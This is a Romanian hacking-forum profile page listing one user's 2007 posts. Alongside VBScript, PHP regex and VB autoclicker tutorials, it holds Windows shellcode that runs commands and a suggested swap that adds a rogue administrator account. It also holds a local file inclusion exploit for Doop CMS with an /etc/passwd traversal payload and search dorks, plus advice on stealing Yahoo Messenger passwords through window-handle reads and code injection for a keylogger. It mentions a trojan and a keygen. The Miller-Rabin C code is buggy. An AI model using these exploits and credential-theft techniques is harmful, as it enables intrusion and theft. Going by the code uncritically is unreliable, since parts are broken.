Jump to content

vladiii

Active Members
  • Posts

    552
  • Joined

  • Last visited

Everything posted by vladiii

  1. vladiii

    NYTRO.OCX

    Apreciez ideea, dar mai bine publicai un modul, pentru ca: 1) Toti aveau acces la codul sursa (nu ca asa nu ar avea, google rulz). 2) Problemele dependentelor in VB m-au omorat pe mine. Daca fac un trojan, trebuie sa ii dau victimei si OCX'ul. Nu ai nimic de pierdut. Salut !
  2. tw8, aproape in orice situatie exista si un "mijloc". Gandeste-te, ca sa fi foarte bine pregatit intr-un domeniu, ai nevoie de sute de ore de munca si de mult efort depus. Multi nu fac asta, lucreaza, muncesc, obtin premii, dar nu inseamna ca nu sunt pregatiti. Daca se poate spune, sunt "semi-pregatiti", desi nu prea imi place cum suna. Eu am peste 2 saptamani un concurs national de mate si nu prea am lucrat. Sper sa fac bine totusi !
  3. Initial postat pe: [url]http://de-ce.net[/url] Introducerea in VB Script Salut. In acest tutorial vom invata cum sa folosim VB Script. VB Script este un limbaj de programare (scripting) pe care il puteti adauga paginilor dumneavoastra web. ATENTIE ! Majoritatea scripturilor realizate in VB Script nu vor functiona pe alte browsere in afara Internet Explorerului (Internet Explorer = Microsoft). Orice script VBScript, asemanator JavaScriptului, in care codul se plaseaza intre tagurile <script> si </script>, se pune intre: <script language="VBScript"> --------COD VBScript-------- </script> Cui stie Visual Basic o sa ii fie mult mai usor sa se descurce cu VBScript. Spre exemplu, ca sa afisam un MessageBox folosim aceeasi sintaxa ca si in VB: MsgBox “Mesajul Tau” La fel ca si in Visual Basic, si in VB Script putem folosi formulare, butoane, textboxuri, etc. Sa plasam un formular cu numele Formular si un buton, cu numele cmdButon, cu textul Click: <form name="EXEMPLU"> <input type="Button" name="cmdButon" value="Click"> <input type="Text" name="texxt" size=10> </form> Acum, la apasarea butonului cmdButon nu se va intampla absolute nimic, pentru ca nu am scris niciun cod pentru acesta. Haideti sa construim un cod care afiseaza textul introduce in texxt: <SCRIPT LANGUAGE="VBScript"> Sub cmdButon_OnClick Dim mesaj mesaj="Mesajul introdus este: " & document.EXEMPLU.texxt.value MsgBox mesaj End Sub </script> Sa explicam un pic ceea ce am facut. Exident am inceput cu tagul <script language=”VBScript”> si am terminat cu </script>. Apoi urmeaza linia cu: Sub cmdButon_OnClick si reprezinta codul care se va executa la eventul OnClick (apasarea pe butonul respective). Pe linia urmatoare am declarat o variabila (este destul de asemanator cu PHP si ASM, variabila nu este definita ca String, Integer, Boolean sau altceva, ci pur si simplu nu se stie). Ca sa gasim “ceea ce se afla” intr-un TextBox (ca si in exemplul de mai sus), folosim: document.EXEMPLU.texxt.value, unde EXEMPLU reprezinta numele Formularului pe care se afla textboxul, “texxt” reprezinta numele TextBoxului, iar value reprezinta valoarea acestuia (adica scrisul din interior). Acelasi lucru se poate face si pentru un Label. De asemenea se pot folosi si InputBoxuri, ca in scriptul urmator: <form name="EXEMPLU"> <input type="Button" name="cmdButon" value="Click"> </form> <SCRIPT LANGUAGE="VBScript"> Sub cmdButon_OnClick mesaj=InputBox(“Introdu un mesaj: “) MsgBox mesaj End Sub </script> Structurile de gen IF-ELSE, FOR-NEXT, WHILE-WEND nu le voi mai explica deoarece sunt la fel ca in Visual Basic. Cum am precizat la inceput de tot, VBScript poate fi “interpretat” doar de Internet Explorer, de aceea, pe alte browsere, o sa va arate codul pe pagina, ceea ce banuiesc ca nu doriti. Ca sa evitati acest lucru, puteti adauga ceva in genul: <SCRIPT LANGUAGE="VBScript"> <-- COD --> </script> In felul asta, veti indica browserelor sa “sara” peste codurile VBScript. Cam atat pentru acesta prima parte a tutorialului. Succes si sa ne revedem cu bine data viitoare ! @vladii 2007
  4. vladiii

    De Ce ?

    [url]http://de-ce.net[/url] Tutoriale multe & other shits. De asemenea: [url]http://de-ce.net/?page_id=8[/url] Fiecare dintre voi puteti pune intrebari, iar noi o sa incercam sa va raspundem. RSTZone este adaugat la links (kw3, mi-ai promis ca facem link exchange ). Daca da, sa pui imaginea urmatoare: link: http://de-ce.net/dece.jpg Multumesc si numai bine !
  5. Penibil (scuze, nu m-am putut abtine de la acest comentariu inutil).
  6. [url]http://misupopa.lx.ro/index2.php[/url] O mica pagina care updateaza zilnic acea imagine automat + ca are si sistem de cacheing. Cine vrea scriptul PHP i-l dau prin PM. P.S. Thnx x.o pt. gazduire. LE: Am adaugat baze de date. Noul site mai sus.
  7. Am facut si eu un mic cod in VB, bineinteles, nu foarte complex, dar mi-a fost lene sa-l fac mai bun. Preview: Codul este: - Pe form: Option Explicit Dim dr As Integer Dim st As Integer Dim nrclick As Integer Dim timp As Integer Dim gigi As Integer Private Sub Command1_Click() On Error GoTo Eroare nrclick = CInt(Text1.Text) Timer1.Interval = CInt(Text2.Text) Timer2.Enabled = True If (Option1.Value = True) Then dr = 1 If (Option2.Value = True) Then st = 1 Option1.Enabled = False Option2.Enabled = False Command1.Enabled = False Exit Sub Eroare: MsgBox "Invalid Data !", vbCritical, "Eroare!" End Sub Private Sub Command2_Click() Timer1.Enabled = False Timer2.Enabled = False Command1.Enabled = True Option1.Enabled = True Option2.Enabled = True st = 0 dr = 0 timp = 0 gigi = 3 End Sub Private Sub Form_Load() Timer1.Enabled = False Timer2.Enabled = False st = 0 dr = 0 timp = 0 gigi = 3 End Sub Private Sub Timer1_Timer() gigi = 3 Dim poz As POINTAPI Call GetCursorPos(poz) If (dr = 1) Then Call mouse_event(MOUSEEVENTF_RIGHTDOWN, poz.X, poz.Y, 0, 0) Call mouse_event(MOUSEEVENTF_RIGHTUP, poz.X, poz.Y, 0, 0) Else If (st = 1) Then Call mouse_event(MOUSEEVENTF_LEFTDOWN, poz.X, poz.Y, 0, 0) Call mouse_event(MOUSEEVENTF_LEFTUP, poz.X, poz.Y, 0, 0) End If End If timp = timp + 1 ttime.Caption = " [" & CStr(timp) & "] " If (timp = nrclick) Then Timer1.Enabled = False Command1.Enabled = True Option1.Enabled = True Option2.Enabled = True st = 0 dr = 0 timp = 0 End If End Sub Private Sub Timer2_Timer() ttime.Caption = CStr(gigi) If (gigi = 0) Then Timer2.Enabled = False Timer1.Enabled = True End If gigi = gigi - 1 End Sub - In modul: Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Public Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long) Public Const MOUSEEVENTF_LEFTDOWN = &H2 Public Const MOUSEEVENTF_LEFTUP = &H4 Public Const MOUSEEVENTF_RIGHTDOWN = &H8 Public Const MOUSEEVENTF_RIGHTUP = &H10 Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Type POINTAPI X As Long Y As Long End Type Si arhiva: [url]http://rapidshare.com/files/65817459/clicker.rar.html[/url] Am postat asta pentru a avea si voi acces la codul sursa si pentru a-l studia. Poate nu este cel mai bun, dar eu asa l-am gandit !
  8. Ce am gasit aici: http://forums.codewalkers.com/client-side-things-82/javascript-sleep-82584.html ,dar nu am testat: function pause(numberMillis) { var now = new Date(); var exitTime = now.getTime() + numberMillis; while (true) { now = new Date(); if (now.getTime() > exitTime) return; } } Pe de alta parte, ai putea sa incerci VBScript: <script language='vbscript'> WScript.Sleep(1000) </script> Bafta !!!
  9. Expresii regulate in PHP Salut! In aceasta lectie vom invata despre expresiile regulate in PHP, folosite de obicei pentru functiile preg_match si preg_match_all (http://us.php.net/manual/ro/function.preg-match-all.php).Ce este o expresie regulata ? O expresie regulata (regexp) reprezinta un text special, un sablon, care descrie un anumit text. Ce reprezinta aceste functii ? Cauta intr-un anumit string un anumit “substring”, echivalentul expresiei care am format-o daca il pot denumi asa si afiseaza toate “potrivirile” posibile intr-un array. Sintaxa functiei preg_match_all este urmatoarea: preg_match_all(“expresia regulata”, "stringul in care cautam echivalentul expresiei", $var, PREG_SET_ORDER); Variabila $var primeste rezultatele, iar ele vor fi afisate sub forma unui array. Insa pe noi nu asta ne intereseaza, ci “expresia regulate” in sine. In primul rand, sa analizam 2 simboluri destul de importante: - “^inceput” – cauta fiecare substring care contine la inceputul acestuia cuvantul: inceput. Deci, practic, ^ semnifica inceputul unui substring (cauta la inceput). - “sfarsit$” – cauta fiecare substring care contine la sfarsitul acestuia cuvantul: sfarsit. Deci, practice, $ semnifica sfarsitul unui substring (cauta la sfarsit). In concluzie, ca sa cautam un substring care contine la inceputul acestuia grupul “mama”, iar la sfarsit tot grupul “mama”, in interiorul stringului “mamaestemama”, vom folosi expresia regulata: “^mama$”. Pana sa ajungem sa construim expresii regulate de la cap la coada, trebuie sa mai invatam despre cateva “caractere speciale”, fiecare avand un rol bine stabilit si foarte important. Sa vedem: - “xy*” – gaseste orice substring care are dupa x, 0 sau mai multi de y (ex: “x”, “xy”, “xyy”, “xyyy”, “xyyyy”, etc.). - “xy+” – gaseste orice substring care are dupa x cel putin un y (ex: “xy”, “xyy”, “xyyy”, “xyyyy”, etc.). - “xy{3} – gaseste orice substring care are dupa x, exact 3 de y (“xyyy”). - “xy{2,5}” – gaseste orice substring care contine dupa x, intre 2 si 5 de y (ex: “xyy”, “xyyy”, “xyyyy”, “xyyyyy”). - “xy{3,}” – gaseste orice substring care are dupa x cel putin 3 de y (ex: “xyyy”, “xyyyy”, “xyyyyy”, “xyyyyyy”, etc.). - “xy?” – “poate sa fie sau sa nu fie J”. De asemenea, putem utiliza si secvente de caractere in interiorul expresiei regulate, aceste secvente fiind puse intotdeauna intre paranteze: (secv) . Exemplu: asd(ex){2,5}. Acest exemplu gaseste orice substring de forma: asdexex, asdexexex, asdexexexex, asdexexexexex. Un alt semn foarte important este reprezentat de caracterul |. Exemplu: “eu|tu”, gaseste orice substring care are in componenta eu sau tu. | = OR (la fel ca in C++). Spre exemplu: “^eu|tu” gaseste orice substring care incepe cu eu, sau cu tu. Punctul: “.” reprezinta un caracter. Orice caracter… Sa consideram urmatorul exemplu: “.(asd){2,5}”. Acesta cauta substringuri care contin caractere de forma: “Xasdasd” sau “Masdasdasd”, etc. Perechea de paranteze drepte [ ] este asemanatoare cu | . Spre exemplu, “[ab]” este echivalent cu “a|b”. Insa, daca am vrea ca stringul ca contina o cifra, ar trebuie sa scriem o expresie de genul: “0|1|2|3|4|5|6|7|8|9”, insa ia prea mult timp. Acea expresie poate fi inlocuita cu foarte simplista: “[0-9]”. Daca vrem ca substringul sa contina o litera mica de la a la z, folosim: “[a-z]”, daca vrem sa contina o litera mare, tot de la A la Z, folosim: “[A-Z]”. Insa, daca vrem sa folosim si litere mari si litere mici ? Nimic mai simplu: “[a-zA-Z]”. Daca spre exemplu, vrem sa gasim un string care reprezinta un procent (de genul 99%), folosim urmatoarea expresie: “^[1-9][0-9]%$”. Acum ca am explicat in mare cam ce face fiecare semn important, sa trecem la lucrurile seriose J. 1) Gasirea unei adrese IP valide. O adresa IP este de forma 172.178.25.43. Mai exact, este formata din 4 grupe de maxim 3 caractere si minim 1, cu valori intre 0 si 255. Evident, in expresia noastra regulate vom folosi si . (punct), caracterul care delimiteaza cele 4 grupe. Dar, cum am precizat mai sus, punctul reprezinta un caracter, de aceea trebuie sa “scapam” oarecum de aceasta notatie. Vom da “escape” la punct, folosind caracterul backslash, ex: “\.” sau “mamaia\.”. Expresia regulata care cauta o adresa IP valida ar fi urmatoarea: “\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b” Poate ati observat, aici am folosit caracterul \b, care semnifica backspace. 2) Gasirea unui numar de telefon. Sa presupunem ca avem un numar de telefon de genul XX-YYYYYY si vrem sa-l gasim. Un astfel de numar este: 11-123456. Expresia regulate ar fi de genul: “^[0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]$” 3) Gasirea unei adrese de e-mail. Nu ma voi complica si voi prezenta un cod simplu de gasire a adresei de e-mail, nu prea complet si prea “sigur”. /[-a-z0-9\._]+@[-a-z0-9\._]+\.[a-z]{2,4}/ De ce spun ca aceasta expresia nu este prea safe ? Pentru ca un string de genul: asdasd@asdasd.asd il va considera ca fiind o adresa valida de e-mail, desi nu prea este J Cam atat ! Sper ca este de folos cu ceva tutorialul asta ! Cand am scris acest tutorial am invatat si eu, in acelasi timp cu voi, ce sunt alea expresii regulate, deci daca sunt greseli, post them !!! Bibliografie: [url]http://www.regular-expressions.info/[/url] @vladii 2007
  10. Lucian Bute este noul campion al lumii la box (nush ce categorie), dupa ce l-a invins pe Alejandro Berrio prin K.O. M-am sculat special de la ora 5 ca sa ascult meciul la radio. Fantastic ! Asta ne arata ca nu suntem un popor in totalitate de lenesi, idioti, nespalati, hoti, cum suntem vazuti in afara, ci avem si oameni care muncesc si ne reprezinta cu succes. M-am simtit mandru ca sunt roman, insa nu pt. prima data. Bravo Luciane !
  11. /*;shutdown -s.asm segment.code USE32 ..start: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx jmp short funct1 funct2: pop eax mov byte [eax+11], dl mov ebx, 0x77E82CF5 ;WinExec push eax call ebx exit: xor ebx, ebx mov ebx, 0x77E7295D ;ExitProcess push byte 1 call ebx funct1: call funct2 db 'shutdown -sN' */ /* This shellcode execute shutdown -s in Run. */ #include <stdio.h> #include <windows.h> char shellcode[]= "\x31\xC0\x31\xDB\x31\xC9\x31\xD2\xEB" "\x17\x58\x88\x50\x0B\xBB" "\xF5\x2C\xE8\x77" /*WinExec offset*/ "\x50\xFF\xD3\x31\xDB\xBB\x5D\x29" "\xE7\x77\x6A\x01\xFF\xD3\xE8\xE4\xFF" "\xFF\xFF\x73\x68\x75\x74\x64\x6F\x77" "\x6E\x20\x2D\x73\x4E\x00\x00"; int main(int argc, char **argv) { int (*func)(); func = (int ()) shellcode; (int)(*func)(); } Cu acest cod ASM puteti executa comenzi in Run (in cazul meu shutdown -s). Spre exemplu. puteti inlocui comanda cu una de adaugare a unui nou administrator pe system, ex: cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN Pentru nelamuriri/sugestii/buguri, lasati mesaj
  12. Da moubik, ai dreptate. In capul meu a fost o confuzie de la inceput intre operatiile asincronice si cele sincronice. Multumesc. P.S. Andrewboy, tu stii algoritmul de generare a hashului, sau e copiat de pe internet ? (ma refer daca l-ai analizat, daca stii cum functioneaza, etc.).
  13. Banuiesc ca se blocheaza din cauza timpului mare de cautare/comparare a hashului. De fapt, nu se blocheaza, doar ca nu se mai updateaza GUI'ul programului, deoarece operatiile efectuate sunt asincronice. Ca sa nu se mai intample asta, foloseste fenomenul de "multi threading". In Delphi este foarte usor, iar in Visual Basic (care este un mare rahat la acest capitol) folosesti APIul CreateThread si operatorul AddressOf. In rest, bafta !!! Vlad.
  14. ______________________________________________________ | DOOP CMS <=1.3.7 Local File Inclusion | |______________________________________________________| ______________________________________________________ | vuln path: ?page=/../../../../../../../etc/passwd%00 | | | | dork: Doop CMS | | dork2: powered by Doop CMS | | | | work only if magic_quotes_gpc are set to OFF | |______________________________________________________| ______________________________________________________ | vuln code: | | line 544: | | if (!isset($_REQUEST['page'])){ | | $_REQUEST['page']=$homepage; | | $cpage=$_REQUEST['page']; | | } else { $cpage=$_REQUEST['page']; } | | | | line 646: | | if ($admin == FALSE && !isset($_SESSION['name']) || isset($_REQUEST['preview'])){ | if (file_exists("pages/".$cpage.".htm")){ | | include("pages/".$cpage.".htm"); | | } | | else include("pages/".$cpage.".html"); | | } | |______________________________________________________| ______________________________________________________ | greetz to: [url]http://vladii.wordpress.com[/url] | | [url]http://rstcenter.com[/url] | | [url]http://hackpedia.info[/url] | | SlicK & Shocker & moubik & kw3 | |______________________________________________________| ______________________________________________________ | @vladii 2007 | |______________________________________________________| # milw0rm.com [2007-10-15] http://milw0rm.org/exploits/4536
  15. Ti-am spus pe messenger parola. Patch:
  16. KeyGen (No download for you): P.S. Ti-am trimis un PM cu link de download pentru keygen !!! Toate cele bune. :roll:
  17. I hate AutoIT :twisted:
  18. Mie imi place Brava ! By the way: P.S. Poza nu este editata in Paint & other shits.
  19. In primul rand, daca gasiti vreo eroare in codul scris de mine sau vreo greseala de algoritm, va rog sa o mentionati, pentru ca nici eu nu sunt 100% sigur de codul pe care l-am facut. Ok, ce este Algoritmul Miller-Rabin ? Numele sau intreg este: "Testul de primalitate al numerelor Miller-Rabin". Practic verifica daca un numar este prim sau nu. Insa, nu degeaba se numeste test, pentru ca probabilitatea ca raspunsul returnat de program nu este maxima (pow(4,-k)). Si poate va intrebati, de ce sa folosesc acest algoritm, cand pot sa impart numarul la toate numerele mai mici decat sqrt(numar) ? Pai da, dar acesta este mult mai rapid si are o complexitate mai mica Va prezint in continuare codul scris de mine in C (astept imbunatatiri sau corectari): #include <stdlib.h> #include <stdio.h> #include <time.h> #include <conio.h> #include <math.h> int main() { long numar, s=0, a=0, r, d=0, k, aux1=0, aux2=0, i=0, aux3=0, aux4=0; div_t aux5; printf("Introdu numarul: "); scanf("%d", &numar); printf("\nIntrodu un numar k(probabilitatea este 4 la puterea -k): "); scanf("%d", &k); aux1=numar-1; while(aux1%2 !=1) { if(aux1%2==0) { s++; } aux1=aux1/2; } printf("%ld", (int)pow(2,s)); aux4=(long)pow(2,s); aux5=div(numar-1,aux4); d=aux5.quot; printf("\nPuterea lui 2 este: %ld iar restul este: %ld", s, (long)d); if(numar==2 || numar==3 || numar==5 || numar==7 || numar==11) { printf("\nNumarul este prim"); } else if(numar=4 || numar==6 || numar==8 || numar==9 || numar==10) { printf("\nNumarul nu este prim/ este compus"); } else { srand(time(NULL)); for(i=0;i<k;i++) { a=rand() %(numar-1)+1; aux2=(long)pow(a,d)%numar; for(r=0;r<=s-1;r++) { if(aux2 !=1 & (long)pow(a,pow(2,r)*d)%numar !=numar-1) { aux3=1; } } } if(aux3==1) { printf("\nNumarul este prim"); } else { printf("\nNumarul nu este prim/ este compus"); } } getch(); return 0; } Sper sa va fie de folos la ceva (si ma repet, postati eventualele greseli de algoritm . P.S. Pentru un "accuracy" mai bun puteti sa generati toate numerele A din intervalul [1, numar-1], insa asta va ingreuna timpul de executie (eu am ales numere random). Bibliografie: [url]http://en.wikipedia.org/wiki/Miller-Rabin_primality_test[/url] + [url]http://vladii.wordpress.com[/url]
  20. Cum sa preiei parola din textbox (thnx SlicK pentru ajutor): Dim a as long, b as long, c as long, d as long Dim pass as string pass=Space$(256) a=FindWindow("YahooBuddyMain",vbnullstring) b=FindWindowEx(a, vbnullstring, "#32770", vbnullstring) c=FindWindowEx(b, vbnullstring, "Edit", vbnullstring) d=FindWindowEx(b, c, "Edit", vbnullstring) GetWindowText d,pass,256 Si in legatura cu ce ai spus sus, astept cod ca-s curios.
  21. YahooBuddyMain pentru ca asta este clasa ferestrei messengerului ! Si nu cred ca te complici, pentru ca majoritatea au optiunea Remember my ID & Password activata, si tu nu mai ai ce parola sa capturezi pt. ca el nu o scrie ! Greu e de inteles !
  22. Hmm... Esti ironic ?
  23. Ok. Ca sa inchizi Y! M folosesti: din hwnd as long hwnd=FindWindow("YahooBuddyMain", vbnullstring) Apoi trimiti la hwnd un mesaj, si anume WM_CLOSE, folosind APIul PostMessage sau SendMessage. Cat despre parola/id la messenger, ai citit ce am scris mai sus ?
  24. Banuiesc ca este nedetectabil pentru ca nu ai scris functia de adaugare a programului la StartUp (scriere in registrii, care este detectata de majoritatea antivirusilor). Pe langa asta, sper ca ti-ai dat seama ca faza cu "Close Y! M" nu este prea utila, pentru ca majoritatea oamenilor au optiunea Remember my ID & Password activata... Eee, bun ! Sa iti spun cum ai putea sa faci sa "capturezi" cumva parola aceea, chiar daca are optiunea aia activata. Ori scrii un DLL care il injectezi in procesul Yahoo! Messengerului, ori injectezi direct cod. Ce cod ? Un cod care subclaseaza butonul &Sign In (pentru asta ii gasesti handleul cu FindWindow si FindWindowEx) si verifica daca primeste mesaje de gen: WM_COMMAND (din cate stiu eu, trimiterea acestui mesaj are loc cand este apasat respectivul buton). Folosind functia WindowProc (CallBack), daca parametrul uMsg este WM_COMMAND, atunci gasesti handleul TextBoxului in care se introduce parola si preiei acest text folosind APIul GetWindowText (tine minte, al 2-lea parametru este un buffer). Apoi trimiti mesajul inapoi la buton folosind CallWindowProc . Sper ca am fost destul de explicit (thnx lui Shocker pentru explicarea unor nelamuriri). In rest, este un keylogger ca oricare altul. Oricum, good job !
  25. Din cate am scris aici, breakpointul nu trebuie pus pe linia cu mov blabla (care contine stringul), ci cu un rand mai sus, pe linia cu JNZ'ul. Succes !
×
×
  • Create New...